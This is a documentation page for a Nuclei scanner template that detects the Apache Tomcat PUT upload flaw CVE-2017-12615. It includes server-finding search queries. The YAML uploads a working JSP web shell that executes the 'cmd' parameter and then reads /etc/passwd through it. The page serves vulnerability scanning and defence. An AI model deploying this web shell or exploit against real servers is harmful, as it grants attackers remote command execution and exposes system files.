Skip to content
Nuclei Templates

Apache Tomcat Servers - Remote Code Execution

ID: CVE-2017-12615

Severity: high

Author: pikpikcu

Tags: cve2017,cve,rce,tomcat,kev,vulhub,apache,fileupload,intrusive

Description

Section titled “Description”

Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.

YAML Source

Section titled “YAML Source”
id: CVE-2017-12615


info:
  name: Apache Tomcat Servers - Remote Code Execution
  author: pikpikcu
  severity: high
  description: |
    Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Tomcat.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615
    - https://lists.apache.org/thread.html/8fcb1e2d5895413abcf266f011b9918ae03e0b7daceb118ffbf23f8c@%3Cannounce.tomcat.apache.org%3E
    - http://web.archive.org/web/20211206035549/https://securitytracker.com/id/1039392
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12615
    - http://breaktoprotect.blogspot.com/2017/09/the-case-of-cve-2017-12615-tomcat-7-put.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-12615
    cwe-id: CWE-434
    epss-score: 0.96728
    epss-percentile: 0.99659
    cpe: cpe:2.3:a:apache:tomcat:7.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query:
      - title:"Apache Tomcat"
      - http.title:"apache tomcat"
      - http.html:"apache tomcat"
      - cpe:"cpe:2.3:a:apache:tomcat"
    fofa-query:
      - body="apache tomcat"
      - title="apache tomcat"
    google-query: intitle:"apache tomcat"
  tags: cve2017,cve,rce,tomcat,kev,vulhub,apache,fileupload,intrusive


http:
  - method: PUT
    path:
      - "{{BaseURL}}/poc.jsp/"


    body: |
      <%@ page import="java.util.*,java.io.*"%>
      <%
      if (request.getParameter("cmd") != null) {
              out.println("Command: " + request.getParameter("cmd") + "<BR>");
              Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
              OutputStream os = p.getOutputStream();
              InputStream in = p.getInputStream();
              DataInputStream dis = new DataInputStream(in);
              String disr = dis.readLine();
              while ( disr != null ) {
                      out.println(disr);
                      disr = dis.readLine();
                      }
              }
      %>


    headers:
      Content-Type: application/x-www-form-urlencoded


  - method: GET
    path:
      - "{{BaseURL}}/poc.jsp?cmd=cat+%2Fetc%2Fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a004630440220229d5533da6e7dfbab460856fb332979e62af06bfc0cde34d43fd95c219a97250220204dbe859d2a75efbfdfd68717e2d4e5da079bead63b64e5ab85cb65580093ae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12615.yaml"

View on Github